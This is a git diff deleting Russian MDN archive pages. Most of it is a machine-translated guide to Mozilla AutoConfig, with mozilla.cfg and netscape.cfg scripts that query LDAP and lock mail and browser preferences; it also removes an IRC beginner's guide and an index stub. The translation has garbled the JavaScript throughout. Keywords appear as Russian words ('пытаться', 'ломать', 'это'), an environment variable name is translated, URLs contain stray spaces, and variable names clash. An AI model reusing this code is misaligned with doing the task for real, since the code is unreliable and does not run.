-        // Если $ MOZILLA_DEBUG = 1 отображается во всплывающем окне работающий сервер
-      if (env_mozdebug) {
-        displayError ("getLDAPAttributes: debug 2 running_ldap_server:" + running_ldap_server);
-       }
-      ломать;
-    }
-  }
-
- -

Уникальный скрипт для Windows и Linux

- -

if... elseТест позволяет проверить ли мы используем переменные среды Linux или Windows , для USER/ USERNAME.

- -
// 1) переменные env
-if (getenv("USER")! = "") {
-   // * Настройки NIX
-   var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");
-   var env_home = getenv("HOME");
- } else {
-   // Настройки Windows
-   var env_user = getenv("USERNAME");
-   var env_home = getenv("HOMEPATH");
- }
-  var env_mozdebug = getenv("MOZILLA_DEBUG");
-
- -

Окончательный сценарий производства

- -

Вот полный окончательный и прокомментированный производственный сценарий:

- -
// Mozilla AutoConfiguration, Jehan Procaccia & Roberto Aguilar
- 
-// помещаем все в try/catch
-пытаться {
-/ *
-1) определить переменные среды,
-2) список и рандомизировать реплики LDAP,
-3) определить processLDAPValues(),
-4) Вызовите LDAP-сервер, чтобы получить атрибуты LDAP(mail & cn) getLDAPAttributes()
-5) установить пользовательские настройки
-* /
- 
-// 1) переменные env
-if (getenv("USER")! = "") {
-   // * Настройки NIX
-   var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");
-   var env_home = getenv("HOME");
- } else {
-   // Настройки Windows
-   var env_user = getenv("USERNAME");
-   var env_home = getenv("HOMEPATH");
- }
-  var env_mozdebug = getenv("MOZILLA_DEBUG");
- 
-// 2) установить несколько серверов LDAP для отказа
-  var ldap_values;
-  var ldap_servers = new Array('ldap2.int-evry.fr',
-                      'Ldap1.int-evry.fr',
-                      'Openldap.int-evry.fr'
-                      );
-  // Shuffle функция для рандомизации массива сервера
-/ **
-  * настроить метод shuffle для массива, начиная с "mickweb script
-  * завод "по адресу:
-  * http://www.mickweb.com/javascript/arrays/pureshuffle.html
-  * / 
-  // настройка метода shuffle для массива
-  Array.prototype.shuffle = function(times) {
-    var i, j, t, l = this.length;
-    while(times--) {
-      с (Math) {
-    i = пол (random() * l);
-    j = пол (random() * l);
-      }
-      t = это[i];
-      это[i] = this[j];
-      это[j] = t;
-    }
-    верните это;
-  }
- // смешиваем серверы LDAP, чтобы мы не попадали в один и тот же каждый раз
-  ldap_servers.shuffle(10);
- 
-/* 3) определить здесь (потому что если установлено после «4»), ниже он не работает!) ProcessLDAPValues, который в конечном итоге вызывается getLDAPAttributes () чуть ниже,
- проверьте код getLDAPAttributes() из $ MOZILLA_HOME /defaults/autoconfig/prefcalls.js, чтобы увидеть внутренний вызов на «user defined» processLDAPValues
-*/
-function processLDAPValues ​​(значения) {
- если (значения) {
-      // устанавливаем глобальный var со значениями, возвращаемыми из запроса LDAP
-      ldap_values ​​= значения;
-    var uid = getLDAPValue(значения, "uid");
-    var cn = getLDAPValue(значения, "cn");
-    var mail = getLDAPValue(значения, «почта»);
-     // заблокируйте зависимые предпочтения переменной LDAP(mail & cn), когда у нас есть доступ к ним
-    lockPref("mail.server.server1.name", mail);
-    lockPref("mail.identity.id1.fullName", cn);
-    lockPref("mail.identity.id1.useremail", mail);
-    defaultPref("network.ftp.anonymous_password", mail);
- 
-    // если $ MOZILLA_DEBUG = 1, вывести отладочное сообщение
-    if (env_mozdebug) {
-        displayError ("NO ERROR -> MCI (jehan.procaccia@int-evry.fr)" + "\ nthis сообщение отображается с displayError ()! \ ndebug 1 mozilla.cfg v3.2, NO FAILED, S2IA снова!", "\ nmail:" + mail + "\ nuid:" + uid + "\ ncn:" + cn + "\ nuser:" + env_user);
-        }
-    }
-  }
- 
-// 4) Вызовите LDAP-серверы для получения атрибутов LDAP (mail & cn), это, наконец, вызовет processLDAPValues, «3» «чуть выше».
-// Перейдите в список реплик LDAP
-для (i = 0; i <ldap_servers.length; i ++) {
-// Поиск почты атрибута и cn через LDAP-серверы, где uid = $ USER | $ USERNAME
-  getLDAPAttributes (ldap_servers [I],
-       "НУ = люди, DC = INT-Эври, DC = пт",
-       "uid =" + env_user,
-       "UID, сп, почта");
-    // Если мы поймаем запущенный сервер LDAP, выйдите из цикла,
-    if (ldap_values) {
-      run_ldap_server = ldap_servers [i];
-        // Если $ MOZILLA_DEBUG = 1 отображается во всплывающем окне работающий сервер
-      if (env_mozdebug) {
-        displayError("getLDAPAttributes: debug 2 running_ldap_server:" + running_ldap_server);
-       }
-      ломать;
-    }
-  }
- 
-// 5) Настройка пользовательских настроек
- 
-// БРАУЗЕР
-lockPref("browser.startup.homepage", "http://www.int-evry.fr/s2ia/portail/");
-//unlockPref("browser.startup.homepage ");
-lockPref("browser.startup.homepage_override", true);
-lockPref("startup.homepage_override_url", "http://www.int-evry.fr/s2ia/portail/");
-//unlockPref("startup.homepage_override_url ");
-lockPref("browser.cache.disk.capacity", 100);
-lockPref("network.cookie.cookieBehavior", 0);
- 
-// Сетевые настройки
-lockPref("network.proxy.autoconfig_url", "http://www.int-evry.fr/local/config.proxy");
-lockPref("network.proxy.type", 2);
- 
-// Конфиденциальность и безопасность
-defaultPref("signon.rememberSignons", false);
- 
-//Счет
-lockPref("mail.account.account1.identities", "id1");
-lockPref("mail.account.account1.server", "server1");
-lockPref("mail.account.account2.server", "server2");
-lockPref("mail.account.account3.server", "server3");
-lockPref("mail.accountmanager.accounts", "account1, account2, account3");
-lockPref("mail.accountmanager.defaultaccount", "account1");
- 
-// IMAP
-lockPref("mail.server.server1.hostname", "imap-int.int-evry.fr");
-lockPref("mail.server.server1.type", "imap");
-lockPref("mail.server.server1.login_at_startup", true);
-lockPref("mail.identity.id1.draft_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Drafts");
-lockPref("mail.identity.id1.drafts_folder_picker_mode", "0");
-lockPref("mail.identity.id1.fcc_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Sent");
-lockPref("mail.identity.id1.fcc_folder_picker_mode", "0");
-lockPref("mail.identity.id1.stationery_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Шаблоны");
-lockPref("mail.identity.id1.tmpl_folder_picker_mode", "0");
-lockPref("mail.identity.id1.valid", true);
-lockPref("mail.identity.id1.overrideGlobal_Pref", true);
-lockPref("mail.server.server1.download_on_biff", true);
-lockPref("mail.server.server1.login_at_startup", true);
-lockPref("mail.server.server1.userName", env_user);
-lockPref("mail.server.server1.delete_model", 0);
- 
-// SMTP
-defaultPref("mail.identity.id1.smtpServer", "smtp1");
-defaultPref("mail.smtpserver.smtp1.auth_method", 0);
-defaultPref("mail.smtpservers", "smtp1");
-defaultPref("mail.smtpservers", "smtp1");
-defaultPref("mail.smtp.defaultserver", "smtp1");
-defaultPref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr");
-lockPref("mail.identity.id1.organization", "INT Evry France");
-lockPref("mail.startup.enabledMailCheckOnce", true);
-lockPref("mail.ui.folderpane.version", 3);
-lockPref("mailnews.ui.threadpane.version", 2);
- 
-// Конфигурация LDAP
-lockPref("mail.identity.id1.directoryServer", "ldap_2.servers.ldapint");
-lockPref("ldap_2.prefs_migrated", true);
-lockPref("ldap_2.servers.history.filename", "history.mab");
-lockPref("ldap_2.servers.history.replication.lastChangeNumber", 0);
-lockPref("ldap_2.servers.ldapint.auth.savePassword", true);
-lockPref("ldap_2.servers.ldapint.description", "ldap-int");
-lockPref("ldap_2.servers.ldapint.filename", "abook-1.mab");
-lockPref("ldap_2.servers.ldapint.position", 3);
-lockPref("ldap_2.servers.ldapint.uri", "ldap: //ldap1.int-evry.fr: 389 / ou = people, dc = int-evry, dc = fr ?? sub");
-lockPref("ldap_2.servers.pab.filename", "abook.mab");
-lockPref("ldap_2.servers.pab.replication.lastChangeNumber", 0);
- 
-// Конфигурация новостей
-lockPref("mail.server.server3.hostname", "news.int-evry.fr");
-lockPref("mail.server.server3.max_cached_connections", 2);
-lockPref("mail.server.server3.name", "news.int-evry.fr");
-lockPref("mail.server.server3.type", "nntp");
-lockPref("mail.server.server3.userName", env_user);
- 
-// Закройте попытку и вызовите catch()
-} catch(e) {
-  displayError("lockedPref", e);
-}
-
- -

Для записи, старые надежные скрипты ...

- -

По крайней мере, протестирован на Netscape 4.x.

- -

В исходных файлах ниже (в разделе Netscape 4.x) мы жестко закодировали один веб-сервер для извлечения файла предпочтений JavaScript и одного жестко запрограммированного LDAP-сервера для получения mailи cnатрибутов. Было бы безопаснее получать вторичные серверы в случае сбоя. Для имени веб-сервера мы можем использовать запрос LDAP для получения списка возможных. Следовательно, нам не придется повторно кодировать netscape.cfgфайл при каждом изменении. Мы устанавливаем netscape.cfgфайл только один раз при работе с компьютерами с операционной системой, тогда любые изменения происходят в LDAP или в файле настроек JavaScript веб-сервера (центральная конфигурация).

- -
Улучшить netscape.cfg
- -

Список возможных веб-серверов для запроса определяется в netscape.cfg. Здесь также определяются имена файлов предпочтений JavaScript, поэтому netscape.cfgих не нужно менять после визуализации компьютеров при каждом изменении, которое нам нужно сделать.

- -
Подтип списка веб-сервера LDAP
- -
$ ldapsearch -x * -b "ou = браузер, ou = информация, dc = int-evry, dc = fr" cn -LLL
-dn: ou = браузер, ou = информация, dc = int-evry, dc = fr
-
-dn: sn = http_server, ou = браузер, ou = информация, dc = int-evry, dc = fr
-cn: web1.int-evry.fr
-cn: web2.int-evry.fr
-
-dn: sn = http_unix_file, ou = браузер, ou = информация, dc = int-evry, dc = fr
-cn: /browser/config_file_unix.jsc
-
-dn: sn = http_win_file, ou = браузер, ou = информация, dc = int-evry, dc = fr
-cn: /browser/config_file_win.jsc
-
- -
netscape.cfg
- -

Здесь мы выбираем операционный сервер LDAP просто путем тестирования LDAP-запроса, чтобы убедиться, что на наши запросы LDAP для настройки предпочтений будет дан ответ. {Опять же, я не говорю о JavaScript. Должен быть лучший способ убедиться, что сервер LDAP запущен и работает. Что касается проверки веб-сервера, не стесняйтесь оптимизировать этот код и дайте мне знать ...)

- -
if (getLDAPAttributes("ldap1.int-evry.fr", \
- "ou = браузер, ou = информация, dc = int-evry, dc = fr", \
- "sn = http_server", "cn"))
- var running_ldap_server = "ldap1.int-evry.fr";
- else if (getLDAPAttributes("ldap2.int-evry.fr", \
- "ou = браузер, ou = информация, dc = int-evry, dc = fr", \
- "sn = http_server", "cn"))
-  var running_ldap_server = "ldap2.int-evry.fr";
-  else if (getLDAPAttributes("ldap0.int-evry.fr", \
-  "ou = браузер, ou = информация, dc = int-evry, dc = fr", \
-  "sn = http_server", "cn"))
-   var running_ldap_server = "ldap0.int-evry.fr";
-  else alert(«Нет сервера LDAP!»);
-
- -

Вот полный пример файла Unix netscape.cfg.

- -
с (PrefConfig) {// Должен быть выполнен внутри модуля PrefConfig
-
-// создаем некоторые переменные, которые мы, возможно, захотим использовать позже ...
-var env_user = getenv("ПОЛЬЗОВАТЕЛЬ"); // Имя пользователя Windows
-var env_home = getenv("HOME"); // Пользователь HomeDir
-var env_mozilla_home = getenv("MOZILLA_HOME");
-var env_mozdebug = getenv("MOZILLA_DEBUG");
-
-// проверяем, какой сервер LDAP работает (требуется более совершенная процедура!)
-
-if (getLDAPAttributes ("ldap1.int-evry.fr", \
- "ou = браузер, ou = информация, dc = int-evry, dc = fr", \
- "sn = http_server", "cn"))
- var running_ldap_server = "ldap1.int-evry.fr";
- else if (getLDAPAttributes("ldap2.int-evry.fr", \
-  "ou = браузер, ou = информация, dc = int-evry, dc = fr", \
-  "sn = http_server", "cn"))
-  var running_ldap_server = "ldap2.int-evry.fr";
-  else if (getLDAPAttributes("ldap0.int-evry.fr", \
-  "ou = браузер, ou = информация, dc = int-evry, dc = fr", \
-  "sn = http_server", "cn"))
-   var running_ldap_server = "ldap0.int-evry.fr";
-  else alert(«Нет сервера LDAP!»);
-
-if (running_ldap_server) { 
-var ldap_http_server_values ​​= getLDAPAttributes (running_ldap_server, \
-«ou = браузер, ou = информация, dc = int-evry, dc = fr», «sn = http_server», «cn»);
-var ldap_http_server = getLDAPValue (ldap_http_server_values, "cn");
-var ldap_http_unix_uri_values ​​= getLDAPAttributes (running_ldap_server, \
-«ou = браузер, ou = информация, dc = int-evry, dc = fr», «sn = http_unix_file», «cn»);
-var ldap_http_unix_uri = getLDAPValue (ldap_http_unix_uri_values, "cn");
-var values ​​= getLDAPAttributes (run_ldap_server, \
-«ou = people, dc = int-evry, dc = fr», «uid =» + env_user, «cn, mail»);
-var ldap_email = getLDAPValue (значения, «почта»);
-var ldap_gecos = getLDAPValue (значения, "cn");
-env_user = env_user.toLowerCase ();
-}
-еще
- alert(«Нет сервера LDAP, AutoConfig невозможно!»);
-
-// всплывающее отладочное сообщение, если экспортировано MOZILLA_DEBUG = 1 
-if (env_mozdebug) {
- alert("MOZILLA_DEBUG\nrunning LDAP server:" + run_ldap_server);
- alert("MOZILLA_DEBUG\nExecuting" + ldap_http_server + \
- ldap_http_unix_uri);
- alert("MOZILLA_DEBUG\nfetching http://" + ldap_http_server \
- + ldap_http_unix_uri + "");
-}
-
-// отправляем файл предпочтений на HTTP-сервере 
-// нужен способ проверить, работает ли HTTP-сервер!
-
-конфигурации (
-"autoadmin.global_config_url", "http: //" + ldap_http_server + \
-ldap_http_unix_uri + ""
-);
-
-// Поскольку мы используем файл, если он недоступен,
-// ужасно неправильно в любом случае
-конфигурации (
-"autoadmin.failover_to_cached", false
-);
-
-// не использовать? useremail = email-addr для запроса URL-адреса CGI
-конфигурации (
-"autoadmin.append_emailaddr", false
-);
-
-} // с (PrefConfig)
-
- -

Для версии Windows этого netscape.cfgфайла мы заменяем "sn=http_unix_file"его "sn=http_win_file"в запросе LDAP.

- -

OLD Netscape 4.x

- -

Файл вызова, netscape.cfg

- -

В следующем примере этот файл является файлом «вызова», поскольку он фактически будет использоваться для перенаправления вызова на еще более централизованный файл, который будет расположен на веб-сервере. Это позволяет нам сначала кодировать (байтовый сдвиг) этот файл ( netscape.cfg) - только один раз, потому что он вызовет некодированный файл JavaScript config_file_system.jsc(или другое имя) на веб-сервере.

- -

Во-вторых, поскольку этот последний файл JavaScript находится на веб-сервере, нет необходимости переписывать его на каждой станции при каждом изменении! Эта функция доступна через autoadmin.global_config_urlдирективу, например, например. К сожалению, я не могу запустить эту действительно полезную директиву с Netscape 6/7 или Mozilla 1.x :-( (если кто знает, как, пожалуйста, дайте мне знать!)config("autoadmin.global_config_url","http://www/browser/config-file-system.jsc"),

- -

В Windows, в котором закодированный netscape.cfgфайл находится в NETSCAPE_HOME\Communicator\Program( C:\Program Files\netscape\Communicator\Programs), в Red Hat 7.3 он находится /usr/lib/X11/app-defaults. Помните, что в Windows этот файл уже существует, поэтому он должен быть сохранен перед заменой нашим, чтобы вернуться в нормальное состояние в случае возникновения проблемы. Если нет ни оригинального, ни персонализированного netscape.cfg, Netscape не запустится!

- -
// Этот файл не используется в его нынешнем виде. он должен быть закодирован
-// с функцией «convert» меню CCK «файл»
-// Конфигурация предпочтений Netscape:
-// настраивать значения по умолчанию из внутреннего файла JavaScript в исполняемом файле ns
-// глобальные prefs из netscape.cfg (этот файл)
-// выполняет файл ~/.netscape/preferences.js
-// выполняет ~/.netscape/user.js
-// (где-то здесь работает liprefs.js, но я еще не понял
-// то, что для губ.)
-// ================================================ =========================
-
-с (PrefConfig) {// Должен быть выполнен внутри модуля PrefConfig
-
-// создаем некоторые переменные, которые мы, возможно, захотим использовать позже ...
-var platform = getPlatform(); // EG SunOS4.1.3_U1
-var env_user = getenv("ПОЛЬЗОВАТЕЛЬ"); // Unix имя пользователя
-var env_home = getenv("HOME"); // Пользователь HomeDir
-var env_display = getenv("DISPLAY"); // X11 Дисплей
-var env_editor = getenv("РЕДАКЦИЯ"); // использовать в редактировании почты?
-var env_visual = getenv("VISUAL"); // использовать в редактировании почты?
-var env_mozilla_home = getenv("MOZILLA_HOME")
-var env_mozdebug = getenv("MOZILLA_DEBUG")
-// Для удобства обновления ... Мы используем операцию AutoAdmin для перенаправления
-// netscape.cfg, чтобы прочитать файл «config-file-unix.jsc» с открытым текстом.
-// Любые изменения
-// теперь можно сделать здесь без повторного кодирования файла netscape.jsc для
-// netscape.cfg.
-конфигурации (
-"autoadmin.global_config_url", \
-"Http://lugdunum.int-evry.fr/browser/config-file-unix.jsc"
-);
-// Как часто (в минутах) обновлять
-// Каждые 6 часов кажется хорошим интервалом, чтобы держать хозяев, которые никогда не
-// выходим из Netscape, обновляем текущие изменения.
-конфигурации (
-"autoadmin.refresh_interval", 360
-);
-// Поскольку мы используем файл, если он недоступен,
-// ужасно неправильно в любом случае
-конфигурации (
-"autoadmin.failover_to_cached", false
-);
-// не использовать? useremail = email-addr для запроса URL-адреса cgi
-конфигурации (
-"autoadmin.append_emailaddr", false
-);
-
- -

Файл конфигурации LockPref

- -

Этот файл (на веб-сервере:) http://www/browser/config-file-system.jsc- это место, где мы устанавливаем и блокируем Preferences. Поскольку компьютеры являются общими, нам нужно персонализировать настройки на основе входа пользователя. Логин берется из переменной среды: USERв Unix,USERNAMEв Windows. Различные имена среды и разные пути между Windows и Unix объясняют, почему нам нужны два разных файла конфигурации. Возможно, есть способ управлять этими различиями внутри одного и того же файла, но я не очень свободно говорю с JavaScript :-(

- -

Ниже приведен пример lockPrefфайла конфигурации предпочтений для Unix ( config_file_unix.jsc). Мы блокируем ( lockPref) некоторые настройки (имя сервера IMAP, название компании, расположение и размер кэша ...), другие могут быть просто установлены как default ( defaultPref); startup.homepage... Мы также используем функции LDAP (from prefcalls.js), чтобы получить текущий ( USERили USERNAME) адрес электронной почты и общее имя, соответственно, mailи cnв LDAP.

- -
[root @ lugdunum /var/www/html/browser]
-$ more config_file_unix.jsc
-// Функции, которые вы можете использовать:
-// lockPref(имя, значение) пользователь не разрешается изменять
-// (aka lock_pref())
-// defaultPref (имя, значение), если пользователь не переопределяет, это значение
-// (aka default_pref())
-// unlockPref (name) разблокирует ранее имя «lockPref»
-// config(имя, значение) обычно для меню ...
-// value = getPref(name) получает текущую настройку
-// getLDAPAttributes (хост, база, фильтр, атрибуты)
-// getLDAPValue (значения, атрибут)
-// .mime.type, .begin_mime_def, .end_mime_def ..
-// .plat
-// alert(сообщение);
-// var = prompt(message);
-// var = getPlatform () возвращает Win32, ...
-// getPlatform() содержит ("UNIX") ...
-// var = getenv(envvar)
-// var = putenv(envvar)
-//
-// Объекты / функции, которые вы * не можете использовать, потому что они не определены
-// навигатор. * (argh, это * ДЕЙСТВИТЕЛЬНО * укусы)
-// ================================================ =========================
-// Конфигурация настроек
-// ================================================ =========================
-с (PrefConfig) {
-var values ​​= getLDAPAttributes ("ldap2.int-evry.fr", \
-«ou = people, dc = int-evry, dc = fr», «uid =» + env_user, «cn, mail»);
-var ldap_email = getLDAPValue (значения, «почта»);
-var ldap_gecos = getLDAPValue (значения, "cn");
-// var toto = prompt ("email");
-// alert ("ldap_mail =" + ldap_email + "toto =" + toto);
-if (env_mozdebug) {
- alert("env_user:" + env_user + "\nenv_home:" + env_home + \
-"\nldap_email:" + ldap_email + "\nldap_gecos:" + ldap_gecos + "\ n");
-}
-// ------------------------------------------------ -----------------------
-// [Общая настройка браузера]
-// ------------------------------------------------ -----------------------
-config("autoadmin.refresh_interval", 1440); // автоматическое обновление каждые 24 часа
-defaultPref( "browser.startup.page", 1); 
-// 0 = пустая страница, 1 = домашняя страница, 2 = последний посетитель
-defaultPref("browser.startup.homepage", "http://www/mci/mode-d-emploi.shtml");
-lockPref("browser.cache.directory", "/ tmp");
-lockPref("browser.cache.memory_cache_size", 0);
-
-lockPref( "mail.server_type", 1); // POP = 0 IMAP = 1
-lockPref("network.hosts.imap_servers", "pop-int");
-lockPref( "mail.imap.server.pop-int.using_subscription", true);
-lockPref("mail.imap.server.pop-int.userName", env_user);
-lockPref("mail.identity.useremail", ldap_email);
-lockPref("mail.identity.username", ldap_gecos);
-lockPref("mail.check_new_mail", false);
-lockPref("mail.directory", env_home + "/nsmail");
-lockPref("mail.identity.defaultdomain", "int-evry.fr");
-lockPref("mail.identity.organization", "INT Evry Essonne");
-
-// LDAP
-lockPref("ldap_2.autoComplete.useDirectory", true);
-lockPref("ldap_2.servers.LDAPINT.autoComplete.enabled", true);
-lockPref("ldap_2.servers.LDAPINT.csid", "UTF-8");
-lockPref("ldap_2.servers.LDAPINT.description", "LDAP INT");
-lockPref("ldap_2.servers.LDAPINT.filename", "LDAPINT.na2");
-lockPref("ldap_2.servers.LDAPINT.position", 2);
-lockPref("ldap_2.servers.LDAPINT.searchBase", "ou = people, dc = int-evry, dc = fr");
-lockPref("ldap_2.servers.LDAPINT.serverName", "ldap1.int-evry.fr");
-
-//Новости
-lockPref("news.directory", "/tmp");
-// прокси
-lockPref("network.proxy.autoconfig_url", \
-"Http://www.int-evry.fr/local/config.proxy");
-
-} // с (PrefConfig)
-
- -

Этот документ был первоначально переведен из LaTeX с помощью HEVEA .

- -

«автор»: «Jehan Procaccia MCI INT-EVRY- jehan.procaccia AT int-evry.fr»

- -

«дата создания»: «02 сентября 2006 года» 

diff --git a/files/ru/archive/mozilla/getting_started_with_irc/index.html b/files/ru/archive/mozilla/getting_started_with_irc/index.html deleted file mode 100644 index da73111af2..0000000000 --- a/files/ru/archive/mozilla/getting_started_with_irc/index.html +++ /dev/null @@ -1,315 +0,0 @@ ---- -title: Начало работы с IRC -slug: Archive/Mozilla/Getting_Started_with_IRC -tags: - - QA - - irc -translation_of: Archive/Mozilla/Getting_started_with_chat ---- -

Что такое IRC?

- -

IRC (Internet Relay Chat) — способ обмена текстовыми сообщениями в реальном времени сразу между многими пользователями. Пользователи подключаются к серверу ипользуя IRC-клиент, и заходят на каналы (в чаты). Пользователи вводят сообщения, которые рассылаются всем другим пользователям на канале. IRC также позволяет подключённым пользователям общаться один-на-один. IRC — основная форма общения между членами сообщества Mozilla (программистами, тестировщикамию пользователями и т. п.).

- -

Общие правила и этикет

- -

Если Ваш клиент уже настроен и подключен к IRC, вот несколько простых правил, следование которым сделает ваш опыт использования IRC приятным и продуктивным.

- -

 

- -

1. Старайтесь выражаться кратко. Если вам надо отправить что-нибудь длинное, например кусок кода, вставьте это на pastebin.mozilla.org, а в IRC отправьте полученный URL.

- -

2. Обращаясь к конкретному человеку, старайтесь использовать форму «Имя: сообщение». Например: «ashughes: good morning!»

- -

3. У каждого канала есть своя тема. Старайтесь её придерживаться. Например, не обсуждайте проблемы с Thunderbird на #Firefox.

- -

4. IRC-каналы Mozilla наиболее активны с понедельника по пятницу с 9 утра по 7 вечера по тихоокеанскому времени, за исключением праздничных дней в США.

- -

5. Задав вопрос, будьте терпеливы. Ответить могут через несколько минут.

- -

6. Если вы, прежде чем задать вопрос, будете дожидаться ответа на сообщение типа «Помогите!» или «Здесь кто-нибудь есть?», вам вряд ли кто-то поможет. Asking a good question will result in a better experience for both you and the person trying to help. There is a good reference for what makes a good question here.

- -

7. Расслабтесь и веселитесь!

- -

Программы

- -

ChatZilla (расширение Firefox)

- -

Есть несколько различных приложений которые позволяют вам соединиться к IRC сети. Простейший в использовании это дополнение к Firefox названным Chatzilla. Следующие инструкции описывают как установить и сконфигурировать Chatzilla для использования в Mozilla IRC сети.

- -

1. Перейдите к addons.mozilla.org для скачивания и установки Chatzilla

- -

2. Щёлкни зелённую Add to Firefox кнопку

- -

3. Щёлкни кнопку Install на Addon Installation dialog

- -

4. Как только ChatZilla установиться, щёлкни Restart Firefox

- -

5. Как только Firefox перезагрузиться, закрой Add-ons диалог

- -

6. Теперь щёлкни Tools menu > ChatZilla для запуска клиента

- -

7. В текстовом поле  в нижней части окна напечаьай /server irc.mozilla.org и нажми enter

- -

8. Вам будет предоставлено ​​случайное имя при первом подключении. Обычно клиент будет использовать просто имя пользователя вашего компьютера. Если данное имя уже используется, то будет использовано что-то как IRCMonkey21710. Вы можете поменять ваш никнейм напечатав /nick nickname, где nickname это ваш желаемый nickname. Вы также можете сменить никнейм используя dropdown box слева от текстового поля.

- -

Смотри Commands раздел ниже для получения дополнительных IRC комманд.

- -

9. Присоединяйтесь к каналу тип /join #channel, где #channel имя канала к которому вы хотите присоединиться.

- -

Смотри Channels раздел ниже для некоторых каналов, доступных в сети Mozilla IRC.

- -

Настольные клиенты

- -

Как было сказано ранее, ChatZilla не единственный существующий IRC-клиент, хотя он и один из самых простых. Преимущество настольных клиентов — в значительно большей настраиваемости. Например, можно выбирать между SSL и незашифрованным соединением, а также настроить клиент при запуске автоматически подключаться к серверу и входить на определённые каналы. Ниже приведены некоторые доступные клиенты:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  -

Windows

-
-

Mac

-
-

Linux

-
Colloquy  -

-
 
IRSSI -

-
-

-
-

*

-
Xchat -

-
-

-
-

*

-
- -

Доступны бинарные или исполняемые программные файлы

- -

○ Доступен только в виде исходного кода, который надо скачать и скомпилировать

- -

●* Исполнимые файлы могут быть доступны. Если нет, надо будет скачать и скомпилировать исходные тексты.

- -

w Веб-приложение (то есть, работает в браузере)

- -

Более полный список IRC-клиентов можно найти здесь.

- -

При использовании настольного клиента надо будет настроить подключение к серверу используя следующую информацию:

- -

Сервер: irc.mozilla.org

- -

Порт: 6667 (default) or 6697 (SSL)

- -

Веб-клиенты

- -

Есть также несколько клиентов, являющихся веб-приложениями, которые позволяют подключаться к IRC кликая на ссылки irc://. Один из простейших таких клиентов — Mibbit. Он работает очень сходно с упомянутыми выше настольными клиентами и ChatZilla’ой. Mibbit НЕ требует Flash или каких-либо других плагинов.

- -

Каналы

- -

Здесь находиться список каналов, для которых вы должны быть в курсе как член сообщества Mozilla: (Не забывайте использовать irc.mozilla.org и порт 6697 или 6667 для настройки сервера)

- - - - - - - - - - - - - - - - -
#qaКанал для обсуждений QA / QE / контроля качества
#developersКанал для обсуждения разработки Mozilla
#sumoКанал для поддержки с Firefox
- -

Для прлучения дополнительной информации о сети Mozilla IRC и каналах, перейдите here.

- -

Команды

- -

Ниже приведен список команд, которые вы должны хорошо знать. Просто введите их в окно сообщений в нижней части экрана и нажмите enter.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
/join #channelJoins you to the specified channel until you quit your IRC client or quit the channel
/leaveLeave the current channel
/mode #channel +k passwordSets a password for the channel. If #channel is not specified, the command is executed for the current channel.
/mode #channel +o nicknameSets specified user as an owner or moderator of the specified channel. If a #channel is not specified, the command is executed for the current channel.
/mode #channel +sSets the channel as a secret channel. This takes the channel off the public list of active channels and topics.
/msg nick messageSends a private message to the specified user
/nick nicknameChange your current nickname
nickname: pingGet a user's attention (nickname is the name of the user you want the attention of)
nickname: pongRespond to a user's ping (nickname is the name of the user who wants your attention)
/query nicknameOpens a private chat with the specified user
/quit messageDisconnects you from the current server displaying the message in all connected channels prior to quitting
/reload stylesSome IRC clients, Colloquy on Mac in particular, stop displaying your messages in the channel window. If this happens, you can type this command to resolve this issue.
/server server-nameManually connect to a server
/topic topicChanges the topic of the channel. The topic is a message that displays first when you join a channel.
/whois nicknameDisplay information about the specified user. This information displays in the server window.
- -

For more information about IRC commands go here.

- -

Боты

- -

Some users in IRC are not human. These users are known as bots and automatically perform certain tasks; some automatic, some triggered by other users. The most common of these bots are called NickServ, ChanServ, and Firebot.

- -

NickServ

- -

This bot allows you to register your nickname which prevents other users from using it. NickServ also automatically elevates all registered users to operators when they sign on.The following are some helpful commands which can be used by NickServ:

- - - - - - - - - - - - - - - - - - - - - - - - -
/msg NickServ REGISTER password emailThis registers your nickname with the server.
/msg NickServ IDENTIFY passwordOnce registered, you need to type this every time you want to sign into channels using your registered nickname
/msg NickServ HELPThis displays a list of commands which can be used with NickServ
/msg NickServ HELP REGISTERThis displays helpful information about nickname registration
/msg NickServ HELP IDENTIFY This displays helpful information about identifying yourself upon sign in
- -

For more information about NickServ go here.

- -

ChanServ

- -

This bot allows you to register new channels and control aspects of channels. The following are some helpful commands which can be used by ChanServ:

- - - - - - - - - - - - - - - - -
/msg ChanServ HELPThis displays a list of commands which can be used with ChanServ
/msg ChanServ IDENTIFY #channel passwordAllows you to edit the apsects of the specified channel given the correct password
/msg ChanServ REGISTER #channel password topicRegisters a channel given the correct password and sets the topic
- -

For more information about ChanServ go here.

- -

Firebot

- -

Firebot is a bot which assists with Mozilla related activities on IRC. For instance, Firebot automatically posts messages to #developers about the status of automated tests. The following are some helpful commands which can be used by Firebot:

- - - - - - - - - - - - - - - - - - - - -
bug ######When a bug number is mentioned in a message, Firebot automatically displays the link and summary from bugzilla for that bug.
/msg firebot uuidDisplays a unique identifier. This is useful when creating interfaces for add-on development.
/msg firebot cidDisplays a unique 128-bit number which can be used to identify a class or component.
/invite firebot #channelAdds firebot to the specified channel.
- -

For more information about Firebot go here.

- -

Further Reading

- -

IRC Frequently Asked Questions and other helpful tutorials IRC Channel Operator's Guide (New Version) IRC Channel Operator's Guide (Old Version) [From 1995, but still quite useful]

diff --git a/files/ru/archive/mozilla/index.html b/files/ru/archive/mozilla/index.html deleted file mode 100644 index 0acec76e6d..0000000000 --- a/files/ru/archive/mozilla/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Archived Mozilla and build documentation -slug: Archive/Mozilla -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Mozilla ---- -

These articles are archived, obsolete documents about Mozilla, Gecko, and the process of building Mozilla projects.

-

{{SubpagesWithSummaries}}

diff --git a/files/ru/archive/mozilla/javascript_crypto/index.html b/files/ru/archive/mozilla/javascript_crypto/index.html deleted file mode 100644 index b24e78050c..0000000000 --- a/files/ru/archive/mozilla/javascript_crypto/index.html +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: JavaScript crypto -slug: Archive/Mozilla/JavaScript_crypto -translation_of: Archive/Mozilla/JavaScript_crypto ---- -

